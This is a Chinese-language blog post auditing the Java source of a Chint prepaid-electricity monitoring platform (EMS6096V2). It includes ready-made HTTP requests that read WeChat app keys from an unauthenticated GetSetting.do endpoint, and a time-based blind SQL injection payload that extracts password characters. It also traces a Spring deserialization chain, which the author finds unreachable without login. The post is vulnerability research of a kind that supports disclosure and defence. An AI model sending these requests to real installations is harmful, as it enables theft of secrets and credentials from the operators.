正泰预付费 代码审计

Alanni
2025-09-29 / 0 评论 / 10 阅读 / 正在检测是否收录...

正泰预付费(EMS6096V2) - 代码审计

一、基本信息

系统名称: 浙江正泰仪器仪表有限责任公司-预付费监控运营中心V2

开发语言: java

二、代码审计

路由和全局过滤

在 web.xml 下找到了 全局过滤处理方法

<!-- Spring MVC Servlet -->
<servlet>
    <servlet-name>Spring-Servlet</servlet-name>
    <servlet-class> org.springframework.web.servlet.DispatcherServlet</servlet-class>
    <init-param>
        <param-name>contextConfigLocation</param-name>
        <param-value>
            classpath:spring-*.xml
        </param-value>
    </init-param>
    <load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
    <servlet-name>Spring-Servlet</servlet-name>
    <url-pattern>*.do</url-pattern>
</servlet-mapping>

全局接口以 .do 结尾。跟进 它实现的 servlet-class 在 org/springframework/web/servlet/DispatcherServlet.java 的 doDispatch 找到了鉴权的具体实现。

protected void doDispatch(HttpServletRequest request, HttpServletResponse response) throws Exception {
    ModelAndView mv;
    HttpServletRequest processedRequest = request;
    HandlerExecutionChain mappedHandler = null;
    int interceptorIndex = -1;
    ....
        if (interceptors != null) {
            for (int i = 0; i < interceptors.length; i++) {
                HandlerInterceptor interceptor = interceptors[i];
                if (!interceptor.preHandle(processedRequest, response, mappedHandler.getHandler())) {
                    .........
                }

关键点在 interceptor.preHandle,跟进。是个接口要找到他具体的实现类。

mr8zbhyp.png

这里已经很清楚了

public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
    HandlerMethod method = (HandlerMethod) handler;
    Auth auth = (Auth) method.getMethod().getAnnotation(Auth.class);
    if (auth == null || auth.verifyLogin()) {
        String baseUri = request.getContextPath();
        request.getServletPath();
        SysTbluser user = SessionUtils.getUser(request);
        if (user == null) {
            response.sendRedirect(String.valueOf(baseUri) + "/login.shtml");
            return false;
        }
    }
    return super.preHandle(request, response, handler);
}

通过 session 获取 user 信息,如果为空那么直接跳转到登录页面。下面继续我们的重点,不再过多阐述。

1. 配置信息泄露

@RequestMapping({"/GetSetting"})
@Auth(verifyLogin = false, verifyURL = false)
public void GetSetting(String OptionName, HttpServletResponse response) throws Exception {
    Object szValue = EMSConfiguration.getParameterValue(OptionName);
    Map<String, Object> result = new HashMap<>();
    result.put("value", szValue);
    HtmlUtil.writerJson(response, result);
}

关键代码如上,设置 Auth=false 不需要认证即可访问这个接口。 获取一个 OptionName 参数,跟进 getParameterValue。

public static String getParameterValue(String parameterName) {
    return props.getProperty(parameterName);
}

具体实现如上,通过传递的键获取全局静态配置的值。全部代码如下:

package ems.base.util;

import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.Properties;
import java.util.logging.Logger;

public class EMSConfiguration {
    private static Logger logger = Logger.getLogger(EMSConfiguration.class.getName());
    public static String Save_Image_Path = "E:/EMS6030/images/";
    public static Integer Maximum_Fraction_Digits = 2;
    private static Properties props;

    static {
        loadProperties();
    }

    public static void loadProperties() throws IOException {
        props = new Properties();
        try {
            props.load(new InputStreamReader(EMSConfiguration.class.getClassLoader().getResourceAsStream("config.properties"), "UTF-8"));
            Save_Image_Path = props.getProperty("Save_Image_Path", Save_Image_Path);
            Maximum_Fraction_Digits = Integer.valueOf(props.getProperty("RESOURCEPACKAGE", String.valueOf(Maximum_Fraction_Digits)));
        } catch (FileNotFoundException e) {
            logger.info("Properties file not FOUND");
        } catch (IOException e2) {
            logger.info("IOException: Properties file not FOUND");
        } catch (NullPointerException e3) {
            logger.info("NullPointer: Properties file not FOUND");
        }
    }

    public static String getParameterValue(String parameterName) {
        return props.getProperty(parameterName);
    }

    public static void main(String[] args) {
        System.out.println(getParameterValue("Maximum_Fraction_Digits"));
    }
}

首先 static { loadProperties();} 作为静态代码块,他被加载到 jvm 时会被执行一次,也就是说getParameterValue 它在被调用之前就会触发一次 loadProperties 自动加载配置文件。

初始化:

props = new Properties();

可以看到 它通过 UTF-8 编码方式以字节流读取到了 config.properties 配置文件。

props.load(new InputStreamReader(EMSConfiguration.class.getClassLoader().getResourceAsStream("config.properties"), "UTF-8"));
Save_Image_Path = props.getProperty("Save_Image_Path", Save_Image_Path);
Maximum_Fraction_Digits = Integer.valueOf(props.getProperty("RESOURCEPACKAGE", String.valueOf(Maximum_Fraction_Digits)));

并设置默认值,读取 Save_Image_Path 如果不存在则默认为 Save_Image_Path 值。 第二个获取 RESOURCEPACKAGE 的值如果不存在也是同样使用默认值,并转换为 整数型。

那么通过加载之后,可以通过 getParameterValue 指定方法获取 config.properties 的数据。读取配置信息。

构造EXP:

GET /EMS6096V2/GetSetting.do?OptionName=wx_APPID HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36

mr8zbq7n.png

GET /EMS6096V2/GetSetting.do?OptionName=wx_PATERNER_KEY HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36

mr8zbuxv.png

2. SQL注入

系统依赖使用了 Mybatis 全局搜索 ${ 关键字 (即存在注入点)的语法。发现 BaseTbltimebucketMapper.xml 下的 checkUnique。

<select id="checkUnique" resultType="java.lang.Integer" parameterType="Object">
    select count(1) from sys_tbluser 
    where  ${paramName}='${paramValue}'
</select>

再次全局查找 checkUnique。在 com/base/service/BaseService.java 抽象类里找到

public int checkUnique(String paramName, String paramValue) throws Exception {
    Map<String, String> paramMap = new HashMap<>();
    paramMap.put("paramName", paramName);
    paramMap.put("paramValue", paramValue);
    return getDao().checkUnique(paramMap);
}

他是 int 类型,传递的参数 都为 String 符合预期,将参数传递到 HashMap 里,调用 checkUnique 进行SQL查询。

Find use 一下 checkUnique 找到了一处调用。

mr8zc0kh.png

@RequestMapping({"/checkUnique"})
public void checkUnique(String paramName, String paramValue, HttpServletResponse response) {
    String result = BaseAction.SUCCESS;
    try {
        Integer count = Integer.valueOf(this.sysTbluserService.checkUnique(paramName, paramValue));
        log.info("count:" + count + "paramName:" + paramName + "paramValue:" + paramValue);
        if (count != null) {
            if (count.intValue() > 0) {
                result = "fail";
            }
        }
    } catch (Exception e) {
        e.printStackTrace();
        log.error(e);
    }
    HtmlUtil.writerHtml(response, result);
}

通过接口发现 它是需要登录的,我们没环境无法登录;现在这个漏洞大概率是存在的,但无从考证 。

首先,传递过来的参数(paramName, paramName) 都是 String 类型。 并直接传递到了 checkUnique 接口方法里,并没有进行过滤,Mybatis 的处理也调用了 ${} 基本大概率是可以 SQL注入的,基于 布尔类型。

理论EXP:

GET /EMS6096V2/sysTbluser/checkUnique.do?paramName=aa&paramValue=1%27+OR+%28SELECT+IF%28SUBSTR%28password%2C1%2C1%29%3D%27a%27%2C+SLEEP%285%29%2C0%29%29+--+%2B HTTP/1.1
Host: HOST
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36

3. 反序列化

突然发现 他的 spring-boot 版本有点低,存在漏洞 org.springframework.web.servlet-3.1.1.RELEASE.jar 最简单的 RCE 漏洞 CVE-2016-1000027 触发反序列化。

很简单的调用流程

mr8zc8lk.png

mr8zcd08.png

ReadObject 作为触发的矛头,跟进查找是哪里调用了 doReadRemoteInvocation。

mr8zcgv5.png

一整个链在这,循环调用。一直到 handleRequest 传递进来的 请求直接赋值给 readRemoteInvocation。跟进 handleRequest。

@Override // org.springframework.web.servlet.HandlerAdapter
public ModelAndView handle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
    ((HttpRequestHandler) handler).handleRequest(request, response);
    return null;
}

再次跟进就到了这里

mr8zcm6m.png

在全局过滤里,说到认证鉴权的部分;判断访问时时候登录,如果没登陆则步入 triggerAfterCompletion。他是无法走到 ha.handle 的,从而无法触发反序列化。

具体流程(AI生成)

mr8zcr0u.png

0

评论 (0)

取消